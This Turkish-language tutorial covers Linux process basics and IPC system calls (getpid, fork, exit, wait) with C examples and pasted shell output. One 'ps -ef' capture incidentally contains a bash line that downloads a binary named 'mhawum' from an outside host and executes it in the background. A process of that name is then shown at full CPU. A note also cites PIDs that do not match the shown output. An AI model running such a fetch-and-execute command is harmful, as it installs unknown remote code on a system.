Inter Process Communication - Hızlı Kılavuz
Süreçler Arası İletişim (IPC), bir sürecin başka bir süreçle iletişimini içeren bir mekanizmadır. Bu genellikle yalnızca bir sistemde gerçekleşir.
İletişim iki tür olabilir -
Üst ve alt süreçler gibi tek bir süreçten başlayan ilgili süreçler arasında.
İlişkisiz süreçler veya iki veya daha fazla farklı süreç arasında.
Bu konuya devam etmeden önce bilmemiz gereken bazı önemli terimler aşağıdadır.
Pipes- İki ilişkili süreç arasındaki iletişim. Mekanizma yarı çift yönlüdür, yani ilk işlem ikinci işlemle iletişim kurar. Tam bir dubleks elde etmek için, yani ikinci işlemin birinci işlemle iletişim kurması için başka bir boru gereklidir.
FIFO- İki ilgisiz süreç arasındaki iletişim. FIFO tam bir dublekstir, yani ilk işlem ikinci işlemle iletişim kurabilir ve bunun tersi de aynı anda olabilir.
Message Queues- Tam çift yönlü kapasiteye sahip iki veya daha fazla işlem arasında iletişim. İşlemler, bir mesaj göndererek ve onu kuyruktan alarak birbirleriyle iletişim kuracak. Mesaj alındıktan sonra artık kuyrukta mevcut değildir.
Shared Memory- İki veya daha fazla süreç arasındaki iletişim, tüm süreçler arasında paylaşılan bir bellek parçasıyla sağlanır. Paylaşılan hafızanın, tüm işlemlere erişimi senkronize ederek birbirinden korunması gerekir.
Semaphores- Semaforlar, birden çok işleme erişimi senkronize etmek içindir. Bir işlem belleğe erişmek istediğinde (okuma veya yazma için), erişim kaldırıldığında kilitlenmesi (veya korunması) ve serbest bırakılması gerekir. Verilerin güvenliğini sağlamak için bunun tüm süreçler tarafından tekrarlanması gerekir.
Signals- Sinyal, sinyal yoluyla çoklu süreçler arasında iletişim sağlayan bir mekanizmadır. Bu, bir kaynak işlemin (numara ile tanınan) bir sinyal göndereceği ve hedef işlemin buna göre işleyeceği anlamına gelir.
Note - Bu eğitimdeki hemen hemen tüm programlar Linux İşletim Sistemi altındaki sistem çağrılarına dayanmaktadır (Ubuntu'da yürütülmüştür).
İşlem bilgilerine girmeden önce, aşağıdakiler gibi birkaç şeyi bilmemiz gerekir:
Süreç nedir? Süreç, yürütülmekte olan bir programdır.
Program nedir? Program, bir işlemin bilgilerini ve çalışma süresi boyunca nasıl oluşturulacağını içeren bir dosyadır. Programı çalıştırmaya başladığınızda, RAM'e yüklenir ve çalışmaya başlar.
Her süreç, süreç kimliği veya basitçe PID (İşlem Kimlik numarası) olarak adlandırılan benzersiz bir pozitif tamsayı ile tanımlanır. Çekirdek genellikle işlem kimliğini yapılandırılabilir olan 32767 ile sınırlar. İşlem kimliği bu limite ulaştığında, sistem işlem aralığından sonra tekrar sıfırlanır. Bu sayaçtan kullanılmayan işlem kimlikleri daha sonra yeni oluşturulan işlemlere atanır.
Sistem çağrısı getpid (), çağıran işlemin işlem kimliğini döndürür.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Bu çağrı, benzersiz olduğu garanti edilen çağrı işleminin işlem kimliğini döndürür. Bu çağrı her zaman başarılıdır ve bu nedenle bir hatayı gösterecek dönüş değeri yoktur.
Her işlemin, işlem kimliği adı verilen benzersiz kimliği vardır, ancak bunu kim oluşturdu? Yaratıcısı hakkında nasıl bilgi alınır? Yaratıcı süreci, ana süreç olarak adlandırılır. Ana kimlik veya PPID getppid () çağrısı yoluyla elde edilebilir.
Sistem çağrısı getppid () çağıran işlemin Ana PID'sini döndürür.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Bu çağrı, çağıran işlemin üst süreç kimliğini döndürür. Bu çağrı her zaman başarılıdır ve bu nedenle bir hatayı gösterecek dönüş değeri yoktur.
Bunu basit bir örnekle anlayalım.
Aşağıda, çağıran işlemin PID ve PPID'sini bilmek için bir program verilmiştir.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Yukarıdaki programın derlenmesi ve çalıştırılması üzerine, aşağıdaki çıktı olacaktır.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- "C" kitaplık işlevi sistemi () bir kabuk komutu yürütür. System () 'e iletilen argümanlar kabukta çalıştırılan komutlardır. Yukarıdaki programda, işlem durumunu veren komut "ps" dir.
Çalışan tüm süreçler hakkındaki eksiksiz bilgilere ve sistemle ilgili diğer bilgilere / proc konumunda bulunan proc dosya sisteminden erişilebilir.
Artık sürecin ve onun ana sürecinin temel bilgilerinin nasıl elde edileceğini gördüğümüze göre, süreç / program bilgilerinin ayrıntılarına bakmanın zamanı geldi.
Süreç görüntüsü tam olarak nedir? İşlem görüntüsü, programı çalıştırırken gerekli olan yürütülebilir bir dosyadır. Bu görüntü genellikle aşağıdaki bölümleri içerir -
- Kod parçası veya metin parçası
- Veri segmenti
- Yığın segmenti
- Yığın segmenti
İşlem görüntüsünün resimli gösterimi aşağıdadır.
Code segmentnesne dosyasının veya programın sanal adres alanının yürütülebilir talimatlardan oluşan bir bölümüdür. Bu genellikle salt okunur veri segmentidir ve sabit bir boyuta sahiptir.
Veri segmenti iki türdendir.
- Initialized
- Un-initialized
Initialized data segment nesne dosyasının veya programın sanal adres alanının başlatılmış statik ve global değişkenlerden oluşan bir bölümüdür.
Un-initialized data segmentnesne dosyasının veya programın sanal adres alanının başlatılmamış statik ve global değişkenlerden oluşan bir bölümüdür. Başlatılmamış veri segmenti, BSS (Sembolle Başlayan Blok) segmenti olarak da adlandırılır.
Data segmentokuma-yazmadır, çünkü değişkenlerin değerleri çalışma süresi sırasında değiştirilebilir. Bu segment ayrıca sabit bir boyuta sahiptir.
Stack segmentotomatik değişkenler ve fonksiyon parametreleri için ayrılmış bir hafıza alanıdır. Ayrıca, işlev çağrılarını yürütürken bir dönüş adresi depolar. Yığın, yerel veya otomatik değişkenleri, işlev parametrelerini ve sonraki adresi veya dönüş adresini depolamak için LIFO (Son Giren İlk Çıkar) mekanizmasını kullanır. Dönüş adresi, işlevin yürütülmesi tamamlandıktan sonra geri dönülecek adresi ifade eder. Bu segment boyutu, yerel değişkenler, fonksiyon parametreleri ve fonksiyon çağrılarına göre değişkendir. Bu segment daha yüksek bir adresten daha düşük bir adrese doğru büyür.
Heap segmentmalloc () ve calloc () çağrıları gibi dinamik bellek depolaması için ayrılan bellek alanıdır. Bu segment boyutu, kullanıcı tahsisine göre de değişkendir. Bu segment daha düşük bir adresten daha yüksek bir adrese doğru büyür.
Şimdi segmentlerin (veri ve bss segmentleri) boyutunun birkaç örnek programla nasıl değiştiğini kontrol edelim. Segment boyutu, "boyut" komutunun çalıştırılmasıyla bilinir.
Başlangıç programı
Dosya: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Aşağıdaki programda, başlatılmamış bir statik değişken eklenmiştir. Bu, başlatılmamış segment (BSS) boyutunun 4 Bayt artacağı anlamına gelir.Note- Linux işletim sisteminde int boyutu 4 bayttır. Tam sayı veri türünün boyutu, derleyiciye ve işletim sistemi desteğine bağlıdır.
Dosya: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
Aşağıdaki programda, başlatılmış bir statik değişken eklenir. Bu, başlatılan segment (DATA) boyutunun 4 Bayt artacağı anlamına gelir.
Dosya: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Aşağıdaki programda, başlatılmış bir global değişken eklenir. Bu, başlatılan segment (DATA) boyutunun 4 Bayt artacağı anlamına gelir.
Dosya: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Aşağıdaki programda, başlatılmamış bir global değişken eklenmiştir. Bu, başlatılmamış segment (BSS) boyutunun 4 Bayt artacağı anlamına gelir.
Dosya: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Yürütme Adımları
Derleme
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Yürütme / Çıktı
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Şimdiye kadar, bir programı her çalıştırdığımızda, bir işlemin yaratıldığını ve yürütme tamamlandıktan sonra sonlandırılacağını biliyoruz. Ya program içinde bir süreç oluşturmamız gerekirse ve bunun için farklı bir görev planlamamız istenirse? Bu başarılabilir mi? Evet, tabii ki süreç yaratma yoluyla. Tabii ki, iş bittikten sonra otomatik olarak feshedilir veya gerektiğinde feshedebilirsiniz.
Süreç oluşturma, fork() system call. Yeni oluşturulan sürece alt süreç adı verilir ve onu başlatan süreç (veya yürütme başladığındaki süreç) üst süreç olarak adlandırılır. Fork () sistem çağrısından sonra artık iki işlemimiz var - üst ve alt süreçler. Onları nasıl ayırt edebilirim? Çok basit, dönüş değerleri sayesinde.
Alt süreç oluşturulduktan sonra fork () sistem çağrısı detaylarına bakalım.
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Alt süreci yaratır. Bu çağrıdan sonra iki süreç vardır, mevcut olana üst süreç ve yeni oluşturulan süreç alt süreç olarak adlandırılır.
Fork () sistem çağrısı üç değerden birini döndürür -
Bir hatayı, yani alt sürecin yaratılmasında başarısız olduğunu belirtmek için negatif değer.
Alt süreç için sıfır döndürür.
Üst süreç için pozitif bir değer döndürür. Bu değer, yeni oluşturulan alt sürecin süreç kimliğidir.
Basit bir program düşünelim.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Yürütme Adımları
Derleme
gcc basicfork.c -o basicfork
Yürütme / Çıktı
Called fork() system call
Called fork() system call
Note- Genellikle fork () çağrısından sonra, alt süreç ve üst süreç farklı görevleri yerine getirir. Aynı görevin çalıştırılması gerekiyorsa, o zaman her çatal () için çağrı 2 güç n kez çalışır, buradan fork () 'un çağrılma sayısıdır.
Yukarıdaki durumda, çatal () bir kez çağrılır, dolayısıyla çıktı iki kez yazdırılır (2 güç 1). Çatal (), örneğin 3 kez çağrılırsa, çıktı 8 kez yazdırılır (2 güç 3). 5 kez çağrılırsa, 32 kez vb. Yazdırır.
Fork () 'un alt süreci oluşturduğunu gördükten sonra, üst ve alt süreçlerin ayrıntılarını görmenin zamanı geldi.
Dosya adı: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Derleme ve Yürütme Adımları
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Bir süreç iki yoldan biriyle sona erebilir -
Anormal olarak, belirli sinyallerin, mesela sonlandırma sinyalinin iletilmesinde meydana gelir.
Normalde, _exit () sistem çağrısı (veya _Exit () sistem çağrısı) veya exit () kitaplık işlevi kullanılır.
_Exit () ve exit () arasındaki fark esas olarak temizleme etkinliğidir. exit() kontrolü çekirdeğe geri döndürmeden önce biraz temizlik yapar, _exit() (veya _Exit ()) denetimi hemen çekirdeğe geri döndürür.
Exit () ile aşağıdaki örnek programı düşünün.
Dosya adı: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Derleme ve Yürütme Adımları
Hello, World!
Called cleanup function - exitfunc()
_Exit () ile aşağıdaki örnek programı düşünün.
Dosya adı: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Derleme ve Yürütme Adımları
Hello, World!
Gördüğümüz gibi, fork kullanarak bir programdan bir alt süreç oluşturduğumuzda, aşağıdakiler gerçekleşir -
- Mevcut süreç artık ana süreç haline geliyor
- Yeni süreç çocuk süreç olur
Üst süreç, görevini alt süreçten daha erken bitirir ve sonra çıkarsa ya da çıkarsa ne olur? Şimdi, çocuk sürecin ebeveyni kim olacak? Çocuk sürecin ebeveyni, tüm görevleri başlatan ilk süreç olan init sürecidir.
Alt işlem yürütme durumunu izlemek, alt sürecin çalışıp çalışmadığını veya durdurulduğunu kontrol etmek veya yürütme durumunu kontrol etmek için, wait () sistem çağrıları ve türevleri kullanılır.
Üst sürecin alt süreci beklemediği, bu da başlatma sürecinin alt süreç için yeni ana süreç haline gelmesiyle sonuçlanan örnek bir program düşünelim.
Dosya adı: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Derleme ve Yürütme Adımları
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Üst süreç PID'sinin 94 ve alt süreç PID'sinin 95 olduğunu gözlemleyin. Üst süreç çıktıktan sonra, alt sürecin PPID'si 94'ten 1'e (init süreci) değişti.
Alt süreçleri izlemek için sistem çağrılarının çeşitleri aşağıdadır -
- wait()
- waitpid()
- waitid()
wait() sistem çağrısı, çocuklardan birinin sona ermesini ve aşağıda açıklandığı gibi tampondaki sonlandırma durumunu geri döndürmesini bekler.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Bu çağrı, başarı durumunda sonlandırılan çocuğun işlem kimliğini ve başarısız olması durumunda -1'i döndürür. Wait () sistem çağrısı, geçerli sürecin yürütülmesini askıya alır ve çocuklarından biri sona erene kadar süresiz olarak bekler. Çocuğun sonlandırma durumu statüsünde mevcuttur.
Önceki programı değiştirelim, böylece üst süreç artık alt süreci bekler.
/ * Dosya adı: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Derleme ve Yürütme Adımları
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
